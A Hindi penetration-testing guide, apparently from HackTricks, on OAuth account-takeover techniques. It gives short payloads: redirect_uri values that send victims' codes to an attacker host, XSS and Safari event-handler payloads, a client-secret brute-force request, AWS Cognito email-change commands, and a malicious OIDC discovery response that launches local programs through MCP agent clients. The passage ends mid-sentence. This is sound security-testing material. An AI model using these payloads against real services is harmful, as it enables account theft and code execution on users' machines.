OAuth से खाते पर कब्ज़ा

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

मूल जानकारी

OAuth कई संस्करण प्रदान करता है, और मूलभूत जानकारी OAuth 2.0 documentation पर उपलब्ध है। यह चर्चा मुख्य रूप से व्यापक रूप से उपयोग किए जाने वाले OAuth 2.0 authorization code grant type पर केंद्रित है, जो एक प्राधिकरण फ्रेमवर्क प्रदान करता है जिससे एक एप्लिकेशन किसी उपयोगकर्ता के खाते में (दूसरे एप्लिकेशन — authorization server) पहुँच कर या क्रियाएँ कर सकता है।

मान लें एक काल्पनिक वेबसाइट https://example.com है, जो आपके सभी सोशल मीडिया पोस्ट — यहाँ तक कि निजी पोस्ट भी — दिखाने के लिए बनाई गई है। इसके लिए OAuth 2.0 का उपयोग किया गया है। https://example.com आपके सोशल मीडिया पोस्ट्स तक पहुंच के लिए आपकी अनुमति माँगेगा। इसके परिणामस्वरूप https://socialmedia.com पर एक consent स्क्रीन प्रदर्शित होगी, जिसमें मांगी जा रही permissions और उस developer का विवरण दिखाई देगा जो अनुरोध कर रहा है। आपकी अनुमति मिलने पर, https://example.com आपकी ओर से आपके पोस्ट्स तक पहुँचने में सक्षम हो जाता है।

OAuth 2.0 फ्रेमवर्क के भीतर निम्नलिखित घटकों को समझना आवश्यक है:

  • resource owner: आप, यानी वह user/entity जो अपने resource (जैसे सोशल मीडिया अकाउंट के पोस्ट) तक पहुंच की अनुमति देता है।
  • resource server: वह सर्वर जो प्रमाणीकृत अनुरोधों का प्रबंधन करता है जब एप्लिकेशन ने access token को resource owner की ओर से सुरक्षित कर लिया हो, उदाहरण के लिए https://socialmedia.com।
  • client application: वह एप्लिकेशन जो resource owner से authorization माँग रहा है, जैसे https://example.com।
  • authorization server: वह सर्वर जो access tokens जारी करता है जब resource owner सफलतापूर्वक authenticate और authorize कर देता है, उदाहरण के लिए https://socialmedia.com।
  • client_id: एप्लिकेशन के लिए सार्वजनिक, अद्वितीय पहचानकर्ता।
  • client_secret: एक गोपनीय कुंजी, जो केवल एप्लिकेशन और authorization server के पास होती है, और access_tokens उत्पन्न करने के लिए उपयोग की जाती है।
  • response_type: एक मान जो बताता है कि किस प्रकार का token अनुरोधित किया जा रहा है, जैसे code।
  • scope: वह स्तर/सीमाएँ जिनके लिए client application resource owner से अनुमति मांग रहा है।
  • redirect_uri: वह URL जिस पर authorization के बाद उपयोगकर्ता को redirect किया जाता है। आम तौर पर यह pre-registered redirect URL से मेल खाना चाहिए।
  • state: एक पैरामीटर जो authorization server के साथ उपयोगकर्ता के redirection के दौरान डेटा बनाए रखता है। इसकी uniqueness CSRF सुरक्षा तंत्र के रूप में महत्वपूर्ण होती है।
  • grant_type: एक पैरामीटर जो बताता है कि किस प्रकार का grant और किस प्रकार का token लौटाया जाएगा।
  • code: authorization server द्वारा जारी किया गया authorization code, जिसे client application client_id और client_secret के साथ मिलाकर access_token प्राप्त करने के लिए उपयोग करती है।
  • access_token: वह token जिसे client application resource owner की ओर से API अनुरोध करने के लिए उपयोग करती है।
  • refresh_token: एप्लिकेशन को बिना उपयोगकर्ता को पुनः संकेत दिए नया access_token प्राप्त करने में सक्षम बनाता है।

प्रवाह

वास्तविक OAuth फ़्लो निम्नलिखित तरीके से आगे बढ़ता है:

  1. आप https://example.com पर जाते हैं और “Integrate with Social Media” बटन चुनते हैं।
  2. साइट फिर https://socialmedia.com को एक अनुरोध भेजती है, जिसमें यह आपकी अनुमति माँगी जाती है ताकि https://example.com की application आपके पोस्ट्स तक पहुँच सके। अनुरोध इस प्रकार संरचित होता है:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. आपको फिर एक सहमति पृष्ठ दिखाया जाता है।
  2. आपकी स्वीकृति के बाद, Social Media redirect_uri को code और state पैरामीटर के साथ एक response भेजता है:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com इस code को अपने client_id और client_secret के साथ उपयोग करके आपकी ओर से access_token प्राप्त करने के लिए एक server-side अनुरोध करता है, जिससे उन अनुमतियों तक पहुँच मिलती है जिनकी आपने सहमति दी है:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. अंत में, यह प्रक्रिया समाप्त होती है जब https://example.com आपके access_token का उपयोग Social Media तक पहुँचने के लिए API कॉल करने के लिए करता है

कमज़ोरियाँ

Open redirect_uri

Per RFC 6749 §3.1.2, the authorization server must redirect the browser only to pre-registered, exact redirect URIs. यहाँ कोई भी कमजोरी attacker को victim को malicious authorization URL के माध्यम से भेजने की अनुमति देती है, ताकि IdP victim का code (और state) सीधे attacker endpoint पर दे दे, जिसे attacker बाद में redeem कर tokens harvest कर सकता है।

आम हमला प्रक्रिया:

  1. Craft https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback और इसे victim को भेजें।
  2. Victim authenticate करता है और scopes को approve करता है।
  3. IdP redirects to attacker.tld/callback?code=<victim-code>&state=... जहाँ attacker request को log करता है और तुरंत code को exchange कर लेता है।

प्रोब करने के लिए सामान्य validation bugs:

  • No validation – कोई भी absolute URL स्वीकार कर लिया जाता है, जिससे तुरंत code चोरी हो जाता है।
  • Weak substring/regex checks on the host – इन्हें lookalike डोमेनों जैसे evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, या match.com@evil.com से bypass किया जा सकता है।
  • IDN homograph mismatches – validation punycode फॉर्म (xn--) पर होता है, लेकिन browser attacker द्वारा नियंत्रित Unicode डोमेन पर redirect करता है।
  • Arbitrary paths on an allowed host – redirect_uri को /openredirect?next=https://attacker.tld या किसी भी XSS/user-content endpoint की ओर पॉइंट करने से code chained redirects, Referer headers, या injected JavaScript के माध्यम से leaks हो जाता है।
  • Directory constraints without normalization – /oauth/* जैसे patterns को /oauth/../anything से bypass किया जा सकता है।
  • Wildcard subdomains – *.example.com स्वीकार करना मतलब कोई भी takeover (dangling DNS, S3 bucket, आदि) तुरंत valid callback दे देता है।
  • Non-HTTPS callbacks – http:// URIs की अनुमति देने से नेटवर्क attackers (Wi‑Fi, corporate proxy) को transit में code छीनने का मौका मिल जाता है।

साथ ही auxiliary redirect-style parameters (client_uri, policy_uri, tos_uri, initiate_login_uri, आदि) और OpenID discovery document (/.well-known/openid-configuration) की समीक्षा करें ताकि ऐसे अतिरिक्त endpoints मिल सकें जो समान validation बग्स inherit कर सकते हैं।

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

यदि redirect_uri को “owned/first-party domains” तक लॉक कर दिया जाए तब भी यदि कोई allowlisted domain attacker-controlled paths या execution contexts (legacy app platforms, user namespaces, CMS uploads, आदि) एक्सपोज़ करता है तो इससे मदद नहीं मिलती। यदि OAuth/federated login flow returns tokens in the URL (query या hash), तो attacker कर सकता है:

  1. एक वैध flow शुरू करें ताकि pre-token mint हो सके (उदा., multi-step Accounts Center/FXAuth flow में एक etoken)।
  2. Victim को एक authorization URL भेजें जो allowlisted domain को redirect_uri/base_uri के रूप में सेट करता है पर next/path को attacker-controlled namespace की ओर पॉइंट करता है (उदा., https://apps.facebook.com/<attacker_app>)।
  3. Victim के approve करने के बाद, IdP attacker-controlled path पर sensitive values के साथ URL में redirect कर देता है (token, blob, codes, आदि)।
  4. उस पेज की JavaScript window.location पढ़ती है और values को exfiltrate कर देती है भले ही domain “trusted” हो।
  5. Captured values को downstream privileged endpoints पर replay करें जो केवल redirect-carried tokens की उम्मीद करते हैं। FXAuth flow के उदाहरण:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

रिडायरेक्ट इम्प्लीमेंटेशन में XSS

जैसा कि इस bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html में बताया गया है, संभव है कि redirect URL सर्वर के response में रिफ्लेक्ट हो रहा है जब उपयोगकर्ता प्रमाणीकृत होता/होती है, और यह XSS के लिए vulnerable हो सकता है। Possible payload to test:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

OAuth callback त्रुटि पृष्ठ: reflected error_description, trusted-origin phishing, and encoded state leakage

कुछ OAuth integrations लॉगिन विफलताओं को render करने के लिए first-party callback page का उपयोग करते हैं जब IdP ब्राउज़र को वापस redirect कर देता है। ये पृष्ठ अधिक मूल्यवान होते हैं क्योंकि ये पहले से ही एक trusted origin पर चलते हैं और अक्सर attacker-controlled पैरामीटर जैसे error, error_description, message, description, या state को consume करते हैं।

  • Reflecting error_description into HTML बिना strict output encoding के callback को एक trusted-origin phishing page में बदल देता है। भले ही <script> फ़िल्टर किया गया हो, HTML injection अभी भी पूरे failure page को spoof कर सकता है और पीड़ित को attacker-चयनित क्रियाएँ करने के लिए निर्देशित कर सकता है।
  • WAFs often key on common handlers जैसे onload/onerror। जब सामान्य payloads block हो जाते हैं, तो उन browser-specific or uncommon events को आज़माएँ जिन्हें defenders शायद blacklist नहीं करते। एक व्यावहारिक उदाहरण Safari का onpagereveal है, जो तब execute कर सकता है जब malicious callback page Safari में दिखाया जाए:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
  • Test self-referential payloads: यदि इंजेक्ट किया गया HTML/JS वही callback URL फिर से खोल या री-लोड कर सकता है, तो आपको हर रेंडर पर client-side resource exhaustion, बार-बार popups/tabs, या log flooding मिल सकता है।
  • Always decode opaque-looking state values`. कई implementations JSON या user metadata को Base64-encode कर देती हैं और मानती हैं कि यह “hidden” है। Base64 reversible है, इसलिए callback URLs में PII जैसे ईमेल पते, tenant identifiers, return paths, या internal workflow state leak हो सकते हैं।
  • Treat URL exposure as part of the bug: callback URL में रखा गया कुछ भी बाद में browser history, reverse proxies, load balancers, app logs, monitoring tools, screenshots, और Referer headers में दिख सकता है यदि पेज third-party resources लोड करता है।

Quick checks during testing:

  1. success और failure दोनों OAuth callbacks ट्रिगर करें और पूरा URL साथ में रेंडर की हुई HTML कैप्चर करें।
  2. callback को replay करें जबकि आप error_description, message, और समान error फ़ील्ड्स को plain text, HTML, और event-handler payloads से mutate कर रहे हों।
  3. state को Base64/URL-safe Base64 के रूप में decode करें और उसमें ऐसी कोई PII या application state देखें जो server-side पर ही रहनी चाहिए थी।
  4. जब WAF standard inline-event XSS probes को ब्लॉक करे तो Safari/WebKit में browser-specific payloads को दोहराएँ।

CSRF - Improper handling of state parameter

state parameter Authorization Code flow CSRF token है: क्लाइंट को प्रत्येक ब्राउज़र इंस्टेंस के लिए एक cryptographically random value जनरेट करनी चाहिए, उसे कहीं ऐसे persist करना चाहिए जिसे केवल वही ब्राउज़र पढ़ सके (cookie, local storage, आदि), authorization request में भेजना चाहिए, और किसी भी response को reject कर देना चाहिए जो वही value वापस नहीं करता। यदि value static, predictable, optional, या user के session से जुड़ी नहीं है, तो attacker अपना OAuth flow पूरा कर सकता है, अंतिम ?code= request को capture कर सकता है (इसे भेजे बिना), और बाद में victim browser को मजबूर कर सकता है कि वह उस request को replay करे ताकि victim account attacker के identity provider profile से link हो जाए।

The replay pattern is always the same:

  1. Attacker अपने खाते से IdP के खिलाफ authenticate करता है और अंतिम redirect जिसमें code (और कोई state) होता है उसे intercept करता है।
  2. वे उस request को drop करते हैं, URL रख लेते हैं, और बाद में किसी भी CSRF primitive (link, iframe, auto-submitting form) का दुरुपयोग कर के victim browser को उसे लोड करने के लिए मजबूर करते हैं।
  3. अगर क्लाइंट state को enforce नहीं करता, तो एप्लिकेशन attacker का authorization result consume कर लेता है और attacker को victim के app अकाउंट में लॉग कर देता है।

A practical checklist for state handling during tests:

  • Missing state entirely – अगर यह parameter कभी नहीं आता, तो पूरा login CSRFable होता है।
  • state not required – इसे initial request से हटा दें; अगर IdP फिर भी ऐसे codes जारी करता है जिन्हें क्लाइंट स्वीकार कर लेता है, तो यह सुरक्षा opt-in है।
  • Returned state not validated – response में value को tamper करें (Burp, MITM proxy)। mismatched values स्वीकार करने का मतलब है कि stored token कभी compare नहीं किया जा रहा है।
  • Predictable or purely data-driven state – कई apps redirect paths या JSON blobs को randomness मिलाए बिना state में डाल देते हैं, जिससे attackers valid values guess करके flows replay कर सकते हैं। हमेशा डेटा encode करने से पहले मजबूत entropy prepend/append करें।
  • state fixation – अगर ऐप users को state value देने की अनुमति देता है (उदाहरण के लिए crafted authorization URLs के जरिए) और इसे पूरे flow में reuse करता है, तो attacker एक ज्ञात value lock कर सकता है और उसे कई victims पर reuse कर सकता है।

PKCE state की मदद कर सकता है (खासकर public clients के लिए) authorization code को code verifier से बाइंड करके, लेकिन web clients को फिर भी cross-user CSRF/account-linking बग्स रोकने के लिए state ट्रैक करना चाहिए।

Pre Account Takeover

  1. Without Email Verification on Account Creation: Attackers पहले से victim के ईमेल का उपयोग करके एक अकाउंट बना सकते हैं। अगर बाद में victim किसी third-party service का उपयोग करके लॉगिन करता है, तो एप्लिकेशन अनजाने में उस third-party account को attacker के pre-created अकाउंट से लिंक कर सकता है, जिससे unauthorized access हो सकता है।
  2. Exploiting Lax OAuth Email Verification: Attackers उन OAuth services का दुरुपयोग कर सकते हैं जो ईमेल verify नहीं करते — वे सेवा में register कर के बाद में account email को victim का बना सकते हैं। यह तरीका पहले परिदृश्य के समान unauthorized account access का जोखिम पैदा करता है, केवल attack vector अलग है।

Disclosure of Secrets

client_id जानबूझकर public होता है, लेकिन client_secret end users द्वारा कभी recoverable नहीं होना चाहिए। Authorization Code deployments जो secret को mobile APKs, desktop clients, or single-page apps में embed करते हैं, वे इस credential को किसी भी ऐसे व्यक्ति को दे देते हैं जो पैकेज डाउनलोड कर सके। हमेशा public clients की जाँच करें:

  • APK/IPA, desktop installer, या Electron app को unpack करें और client_secret, Base64 blobs जो JSON में decode होते हैं, या hard-coded OAuth endpoints के लिए grep करें।
  • bundled config files (plist, JSON, XML) या decompiled strings में client credentials के लिए review करें।

एक बार attacker secret extract कर लेता है तो उन्हें बस किसी victim authorization code को चुराना होता है (कमज़ोर redirect_uri, logs, आदि के जरिए) ताकि वे स्वतंत्र रूप से /token को हिट कर के access/refresh tokens बनाएँ बिना legitimate app को शामिल किए। public/native clients को incapable of holding secrets मानें — उन्हें स्थिर secret के बजाय per-instance code verifier के मालिक होने को साबित करने के लिए PKCE (RFC 7636) पर निर्भर होना चाहिए। टेस्टिंग के दौरान पुष्टि करें कि क्या PKCE अनिवार्य है और क्या backend वास्तव में token exchanges को reject करता है जो या तो client_secret या एक वैध code_verifier को छोड़ देते हैं।

Client Secret Bruteforce

आप सेवाप्रदाता का client_secret bruteforce करके identity provider के साथ खाते चुराने की कोशिश कर सकते हैं।
BF के लिए request कुछ ऐसा दिख सकती है:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts का leak Code + State

एक बार जब client के पास code and state होते हैं, अगर वे location.href या document.referrer में surface होते हैं और तीसरे पक्षों को forward किए जाते हैं, तो वे leak हो जाते हैं। दो बार-बार आने वाले पैटर्न:

  • Classic Referer leak: OAuth redirect के बाद, कोई भी navigation जो URL में ?code=&state= रखता है, उन्हें CDNs/analytics/ads को भेजे जाने वाले Referer header में डाल देगा।
  • Telemetry/analytics confused deputy: कुछ SDKs (pixels/JS loggers) postMessage events पर react करते हैं और फिर current location.href/referrer को message में दिए गए token का उपयोग करके backend APIs पर भेज देते हैं। अगर आप उस flow में अपना token inject कर सकें (उदाहरण के लिए, attacker-controlled postMessage relay के जरिए), तो आप बाद में SDK की API request history/logs पढ़कर उन requests में embedded victim के OAuth artifacts recover कर सकते हैं।

Access Token ब्राउज़र हिस्ट्री में स्टोर होना

Authorization Code grant की मूल गारंटी यह है कि access tokens कभी resource owner के browser तक नहीं पहुँचते। जब implementations tokens client-side पर leak करते हैं, तो कोई भी छोटी सी bug (XSS, Referer leak, proxy logging) तुरंत account compromise बन सकती है। हमेशा इन बातों की जांच करें:

  • Tokens in URLs – अगर access_token query/fragment में दिखाई देता है, तो यह browser history, server logs, analytics, और third parties को भेजे जाने वाले Referer headers में आ जाता है।
  • Tokens transiting untrusted middleboxes – HTTP पर या debugging/corporate proxies के माध्यम से tokens लौटने पर network observers उन्हें सीधे capture कर सकते हैं।
  • Tokens stored in JavaScript state – React/Vue stores, global variables, या serialized JSON blobs origin पर चलने वाले हर script (जिसमें XSS payloads या malicious extensions भी शामिल हैं) के लिए tokens expose कर देते हैं।
  • Tokens persisted in Web Storage – localStorage/sessionStorage shared devices पर logout के बाद भी लंबे समय तक tokens को रखते हैं और script द्वारा एक्सेस किए जा सकते हैं।

इनमें से कोई भी finding आमतौर पर अन्यथा “low” bugs (जैसे CSP bypass या DOM XSS) को full API takeover में अपग्रेड कर देता है क्योंकि attacker आसानी से leaked bearer token को पढ़कर replay कर सकता है।

चिरस्थायी Authorization Code

Authorization codes को short-lived, single-use, और replay-aware होना चाहिए। किसी flow का आकलन करते समय, एक code capture करें और:

  • Test the lifetime – RFC 6749 minutes की सलाह देता है, hours नहीं। 5–10 मिनट बाद code redeem करने की कोशिश करें; अगर यह अभी भी काम करता है, तो leaked code के लिए exposure window अत्यधिक है।
  • Test sequential reuse – उसी code को दो बार भेजें। अगर दूसरी request एक और token देती है, attackers अनिश्चितकाल तक sessions clone कर सकते हैं।
  • Test concurrent redemption/race conditions – दो token requests parallel में भेजें (Burp intruder, turbo intruder)। कमजोर issuers कभी-कभी दोनों को मंज़ूरी दे देते हैं।
  • Observe replay handling – code के reuse प्रयास को न केवल असफल होना चाहिए बल्कि उस code से पहले से बनाए गए किसी भी token को revoke भी कर देना चाहिए। अन्यथा, replay का पता चलने पर भी attacker का पहला token सक्रिय रह जाता है।

replay-friendly code को किसी भी redirect_uri या logging bug के साथ मिलाने से victim के legitimate login पूरा करने के बाद भी persistent account access मिल सकता है।

Authorization/Refresh Token client से बाइंड न होना

यदि आप authorization code हासिल कर सकते हैं और उसे किसी अलग client/app के लिए redeem कर सकते हैं, तो आप अन्य accounts takeover कर सकते हैं। कमजोर binding की जांच करें:

  • app A के लिए code capture करके उसे app B के token endpoint पर भेजना; अगर आपको फिर भी token मिलता है, तो audience binding टूट चुकी है।
  • उन first-party token minting endpoints की कोशिश करना जो अपने client IDs तक सीमित होने चाहिए; अगर वे केवल code validate करते हुए arbitrary state/app_id स्वीकार करते हैं, तो आप प्रभावी रूप से एक authorization-code swap कर के higher-privileged first-party tokens mint कर सकते हैं।
  • यह जाँचना कि client binding nonce/redirect URI mismatches को नज़रअंदाज़ करता है या नहीं। अगर एक error page भी SDKs को लोड करता है जो location.href log करते हैं, तो Referer/telemetry leaks के साथ मिलाकर codes चुरा कर उन्हें कहीं और redeem किया जा सकता है।

कोई भी endpoint जो code → token एक्सचेंज करता है, उसे अवश्य issuing client, redirect URI, और nonce verify करना चाहिए; अन्यथा किसी भी app से चुराया गया code first-party access token में upgraded हो सकता है।

Happy Paths, XSS, Iframes & Post Messages से code & state values का leak

Check this post

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ आप देख सकते हैं कि जो token AWS Cognito उपयोगकर्ता को वापस देता है, उसमें उपयोगकर्ता डेटा overwrite करने की पर्याप्त permissions हो सकती हैं। इसलिए, यदि आप एक user का email किसी दूसरे user email में change कर सकते हैं, तो आप दूसरों के accounts take over कर सकते हैं।

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

अन्य Apps के tokens का दुरुपयोग

जैसा कि इस writeup में उल्लिखित है, ऐसे OAuth flows जो token (और कोड नहीं) प्राप्त करने की उम्मीद करते हैं, वे तब कमजोर हो सकते हैं जब वे यह जांचते ही नहीं कि token उसी app का है।

यह इसलिए है क्योंकि एक attacker अपनी ही application में एक application supporting OAuth and login with Facebook बना सकता है। फिर, जब एक victim उस attacker की application में Facebook से लॉगिन करता है, तो attacker को उस उपयोगकर्ता का OAuth token मिल सकता है जो उसकी application को दिया गया है, और वह इसे victim के OAuth application में victim के user token का उपयोग करके लॉगिन करने के लिए इस्तेमाल कर सकता है।

Caution

इसलिए, यदि attacker किसी तरह user को उसकी अपनी OAuth application तक पहुँचने के लिए प्रेरित कर लेता है, तो वह उन applications में victim का account takeover कर सकेगा जो token की उम्मीद करते हैं और यह नहीं चेक करते कि token उनके app ID को ही दिया गया था।

According to this writeup, संभव था कि एक victim को ऐसा पेज खोलवाया जाए जिसका returnUrl attacker के host की ओर इशारा करता हो। यह जानकारी एक cookie (RU) में store हो जाती थी और बाद के चरण में prompt user से पूछेगा कि क्या वह उस attacker के host को access देना चाहता है।

इस prompt को bypass करने के लिए, एक tab खोलकर ऐसा किया जा सकता था जो Oauth flow शुरू करे और यह RU cookie सेट करे returnUrl का उपयोग करके, prompt दिखने से पहले tab बंद कर दें, और बिना उस value के नया tab खोल दें। फिर, prompt attackers host के बारे में सूचित नहीं करेगा, पर cookie उसी पर सेट होगी, इसलिए redirection में token attackers host को भेज दिया जाएगा।

Prompt Interaction Bypass

जैसा कि इस वीडियो में समझाया गया है, कुछ OAuth implementations GET parameter prompt को None (&prompt=none) के रूप में सेट करने की अनुमति देते हैं ताकि यदि उपयोगकर्ता platform पर पहले से logged in हों तो वे वेब पर दिए गए access की पुष्टि के लिए prompt दिखाये जाने से रोके जा सकें।

response_mode

जैसा कि इस वीडियो में बताया गया है, संभव है कि parameter response_mode बताया जाए ताकि अंतिम URL में code किस जगह प्रदान किया जाएगा यह संकेत किया जा सके:

  • response_mode=query -> The code is provided inside a GET parameter: ?code=2397rf3gu93f
  • response_mode=fragment -> The code is provided inside the URL fragment parameter #code=2397rf3gu93f
  • response_mode=form_post -> The code is provided inside a POST form with an input called code and the value
  • response_mode=web_message -> The code is send in a post message: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs clickjacking के लिए आदर्श लक्ष्य होते हैं: यदि उन्हें framed किया जा सके तो attacker कस्टम ग्राफिक्स ओवरले कर सकता है, असली बटन छिपा सकता है, और users को खतरनाक scopes approve करने या accounts link करने के लिए trick कर सकता है। PoCs बनाएं जो:

  1. IdP authorization URL को <iframe sandbox="allow-forms allow-scripts allow-same-origin"> के अंदर load करें।
  2. absolute positioning/opacity tricks का उपयोग करके fake buttons को छिपे हुए Allow/Approve controls के साथ align करें।
  3. वैकल्पिक रूप से parameters (scopes, redirect URI) pre-fill कर दें ताकि stolen approval तुरंत attacker के लाभ में आ जाए।

Testing के दौरान पुष्टि करें कि IdP pages या तो X-Frame-Options: DENY/SAMEORIGIN emit करते हैं या एक restrictive Content-Security-Policy: frame-ancestors 'none'। यदि दोनों मौजूद नहीं हैं, तो जोखिम को NCC Group’s clickjacking PoC generator जैसे tools से प्रदर्शित करें और रिकॉर्ड करें कि victim कितनी आसानी से attacker की app को authorize करता है। अतिरिक्त payload ideas के लिए देखें Clickjacking。

OAuth ROPC flow - 2 FA bypass

According to this blog post, यह ऐसा OAuth flow है जो username और password के माध्यम से OAuth में login करने की अनुमति देता है। यदि इस सरल flow के दौरान ऐसा token लौटता है जिसमें user द्वारा किए जाने वाले सभी actions तक access है, तो उस token का उपयोग करके 2FA bypass संभव हो सकता है।

ATO on web page redirecting based on open redirect to referrer

यह blogpost बताती है कि कैसे OAuth को ATO में दुरुपयोग करने के लिए referrer के value पर आधारित open redirect का दुरुपयोग किया जा सकता है। हमला इस प्रकार था:

  1. Victim attacker की वेब पेज को access करता है
  2. Victim malicious link खोलता है और एक opener Google OAuth flow शुरू करता है जिसमें अतिरिक्त parameters के रूप में response_type=id_token,code&prompt=none होते हैं और referrer attacker की वेबसाइट के रूप में इस्तेमाल किया जाता है।
  3. Opener में, provider victim को authorize करने के बाद, उन्हें redirect_uri parameter (victim web) के value पर 30X code के साथ वापस भेजता है जो अभी भी attacker की वेबसाइट को referer में रखता है।
  4. Victim वेबसाइट referrer के आधार पर open redirect trigger करता है और victim user को attacker की वेबसाइट पर redirect कर देता है; चूँकि respose_type id_token,code था, code URL के fragment में attacker को वापस भेजा जाएगा जिससे वह victim की साइट पर Google के जरिए user का account take over कर सकेगा।

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration in OAuth एक कम स्पष्ट परन्तु महत्वपूर्ण vector है सुरक्षा कमजोरियों के लिए, विशेष रूप से Server-Side Request Forgery (SSRF) attacks के लिए। यह endpoint OAuth servers को client applications के बारे में विवरण प्राप्त करने की अनुमति देता है, जिसमें संवेदनशील URLs शामिल हो सकते हैं जो exploit किए जा सकते हैं।

Key Points:

  • Dynamic Client Registration अक्सर /register पर मैप होता है और client_name, client_secret, redirect_uris, तथा logos या JSON Web Key Sets (JWKs) के URL जैसी जानकारी POST requests के जरिए स्वीकार करता है।
  • यह feature RFC7591 और OpenID Connect Registration 1.0 में दिए गए specifications का पालन करता है, जिनमें ऐसे parameters शामिल हैं जो SSRF के प्रति संवेदनशील हो सकते हैं।
  • registration प्रक्रिया अनजाने में servers को कई तरीकों से SSRF के प्रति उजागर कर सकती है:
    • logo_uri: client application के logo के लिए एक URL जो server द्वारा fetch किया जा सकता है, जिससे SSRF हो सकता है या यदि URL गलत तरीके से हैंडल किया गया तो XSS हो सकता है।
    • jwks_uri: client के JWK दस्तावेज़ का URL, जो दुर्भावनापूर्ण रूप से बनाया गया हो तो server को attacker-controlled सर्वर पर outbound request करने के लिए प्रेरित कर सकता है।
    • sector_identifier_uri: redirect_uris की JSON सूची को संदर्भित करता है, जिसे server fetch कर सकता है, जिससे SSRF का मौका बनता है।
    • request_uris: client के लिए allowed request URIs की सूची, जो exploit की जा सकती है यदि server authorization प्रक्रिया की शुरुआत में इन URIs को fetch करता है।

Exploitation Strategy:

  • SSRF एक नए client को malicious URLs के साथ register करके trigger किया जा सकता है, जैसे कि logo_uri, jwks_uri, या sector_identifier_uri में।
  • जबकि request_uris के माध्यम से सीधे exploitation को whitelist controls द्वारा कम किया जा सकता है, एक pre-registered, attacker-controlled request_uri प्रदान करने से authorization चरण के दौरान SSRF की सुविधा मिल सकती है।

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) दिखाती है कि कैसे dynamic OAuth discovery RCE primitive बन जाती है जब भी client IdP metadata को सीधे operating system को फॉरवर्ड करता है। remote MCP server discovery exchange (/.well-known/openid-configuration या किसी भी metadata RPC) के दौरान attacker-controlled authorization_endpoint लौटाता है। mcp-remote ≤0.1.15 तब system URL handler (start, open, xdg-open, आदि) को उसी string के साथ कॉल कर देता था जो मिला, इसलिए OS द्वारा समर्थित कोई भी scheme/path लोकल स्तर पर execute हो सकता था।

Attack workflow

  1. डेस्कटॉप एजेंट को एक hostile MCP/OAuth सर्वर की ओर निर्देशित करें (npx mcp-remote https://evil). एजेंट 401 के साथ metadata प्राप्त करता है।
  2. सर्वर इस तरह का JSON जवाब देता है:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. क्लाइंट दिए गए URI के लिए OS handler लॉन्च करता है। Windows ऐसे payloads स्वीकार करता है जैसे file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux ऐसे file:///Applications/Calculator.app/... या यदि रजिस्टर्ड हो तो cmd://bash -lc '<payload>' जैसे custom schemes भी स्वीकार करते हैं।
  2. क्योंकि यह किसी भी उपयोगकर्ता इंटरैक्शन से पहले होता है, केवल क्लाइंट को attacker सर्वर से बात करने के लिए कॉन्फ़िगर करना ही code execution देता है।

कैसे परीक्षण करें

  • किसी भी OAuth-capable desktop/agent को लक्षित करें जो HTTP(S) पर discovery करता है और locally वापस किए गए endpoints खोलता है (Electron apps, CLI helpers, thick clients).
  • discovery response को intercept या host करें और authorization_endpoint, device_authorization_endpoint, या समान फ़ील्ड्स को file://, cmd://, UNC paths, या अन्य खतरनाक schemes से बदल दें.
  • देखें कि क्लाइंट scheme/host को validate करता है या नहीं। validation की कमी से तुरंत user context में execution होता है और यह issue साबित होता है।
  • पूरी attack surface को मैप करने के लिए विभिन्न schemes के साथ दोहराएँ (उदा., ms-excel:, data:text/html,, custom protocol handlers) और cross-platform पहुँच को दिखाएँ।

OAuth providers Race Conditions

If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth, the sub field uniquely identifies a user, but its format varies by Authorization Server. To standardize user identification, some clients use emails or user handles. However, this is risky because:

  • कुछ Authorization Servers यह सुनिश्चित नहीं करते कि ये properties (जैसे email) अपरिवर्तनीय रहें।
